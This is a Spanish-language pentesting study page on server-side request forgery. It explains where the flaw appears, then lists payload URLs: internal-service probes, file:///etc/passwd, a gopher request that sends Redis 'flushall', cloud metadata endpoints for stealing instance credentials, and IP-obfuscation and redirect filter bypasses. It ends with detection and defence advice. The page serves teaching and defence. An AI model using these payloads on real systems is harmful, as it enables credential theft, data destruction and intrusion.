the_open_door
café
ESEN
← Volver al índice

Server-Side Request Forgery (SSRF)

ATT&CKT1190
Arsenal completo de comandos en la cheatsheet

El SSRF (falsificación de petición del lado servidor) ocurre cuando una aplicación hace peticiones de red que el atacante controla: le pasamos una URL y el servidor la pide por nosotros. Como esa petición sale desde el servidor, alcanza sitios a los que nosotros no llegamos (servicios internos, metadata de la nube, localhost) y, además, se identifica con la huella del servidor, no con la nuestra.

Dónde aparece. Cualquier función que reciba una URL o un host y vaya a buscarlo: importadores ("trae esta imagen/feed"), webhooks, generadores de PDF que cargan recursos, validadores de enlaces y, de forma muy habitual en cajas, funciones que clonan un repositorio git o compilan código desde una URL.

Objetivos y esquemas

Va por niveles, y el esquema (http, file, gopher, dict) decide hasta dónde llega:

# 1) filtrar la peticion del propio servidor hacia nuestro listener (huella, User-Agent, version)
http://<lhost>/x.git
# 2) servicios internos que el firewall no expone
http://127.0.0.1:8080/admin
http://127.0.0.1:6379/          # redis, memcached, elasticsearch:9200...
# 3) leer ficheros locales (si el cliente soporta file://)
file:///etc/passwd
# 4) hablar con protocolos internos de texto plano (gopher = SSRF a redis/smtp/etc.)
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A
dict://127.0.0.1:11211/stats

Metadata de la nube (robo de credenciales)

El objetivo estrella en cloud es el endpoint de metadata, que sirve tokens de la instancia:

# AWS (IMDSv1)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<rol>
# GCP (requiere cabecera Metadata-Flavor: Google)
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Bypass de filtros (SSRF a localhost/interno)

Cuando bloquean localhost/127.0.0.1 o rangos privados, se ofusca la IP:

http://127.1/                    # forma corta de 127.0.0.1
http://0.0.0.0:8080/
http://2130706433/               # 127.0.0.1 en decimal
http://0x7f000001/               # en hexadecimal
http://0177.0.0.1/               # octal
http://[::1]/  http://[::ffff:127.0.0.1]/    # IPv6
http://127.0.0.1.nip.io/         # DNS que resuelve a 127.0.0.1
# saltar validacion de dominio con @ o # (el host real es el de despues de @)
http://<allowed-domain>@127.0.0.1/
http://127.0.0.1#<allowed-domain>/
# redireccion: la URL permitida devuelve un 302 hacia el destino interno
http://<lhost>/redir  ->  Location: http://169.254.169.254/...
nc -nlvp 80           # listener para ver la peticion que hace el servidor

Por qué nc y no un servidor HTTP normal. Levantar un servidor con Python recibe la conexión, pero nc deja ver las cabeceras crudas de la petición entrante, que es donde suele estar el dato valioso (el User-Agent con la versión del cliente, base para un CVE).

Indicio frente a prueba. Que un campo pida una URL sugiere SSRF, pero hay que confirmarlo: la prueba es recibir la conexión saliente en nuestro listener. A partir de ahí, el filtro de formato (por ejemplo "debe empezar por http:// y acabar en .git") indica qué clase de petición hará y cómo moldearla.

Cómo detectarlo. El SSRF se ve mejor por el efecto de red, no por la petición de entrada. La firma es una conexión saliente del servidor de aplicación hacia un destino que no forma parte de su comportamiento normal: IPs internas (127.0.0.1, rangos privados), el endpoint de metadata de la nube (169.254.169.254), o un dominio externo desconocido. Un cortafuegos de egreso o un proxy que registre las salidas del backend delata esas peticiones, y una regla útil alerta de cualquier acceso al 169.254.169.254 desde una carga de trabajo. En la entrada, parámetros con http://, file://, gopher://, IPs ofuscadas (decimal/hex/octal) o @ en un campo que debería ser un nombre o un ID son la pista, marcable por WAF. La clave: el origen de la petición sospechosa es el propio servidor.

Defensa. Lista blanca de destinos permitidos; resolver y validar la IP final (no solo el dominio) para evitar rebinding; bloquear rangos internos y el endpoint de metadata (o exigir IMDSv2 con token); no seguir redirecciones a destinos internos ni reenviar cabeceras/respuestas internas al usuario. Relacionado con LFI/path traversal y XSS del lado servidor en PDF.

HerramientasXXEinjector

Máquinas donde se aplica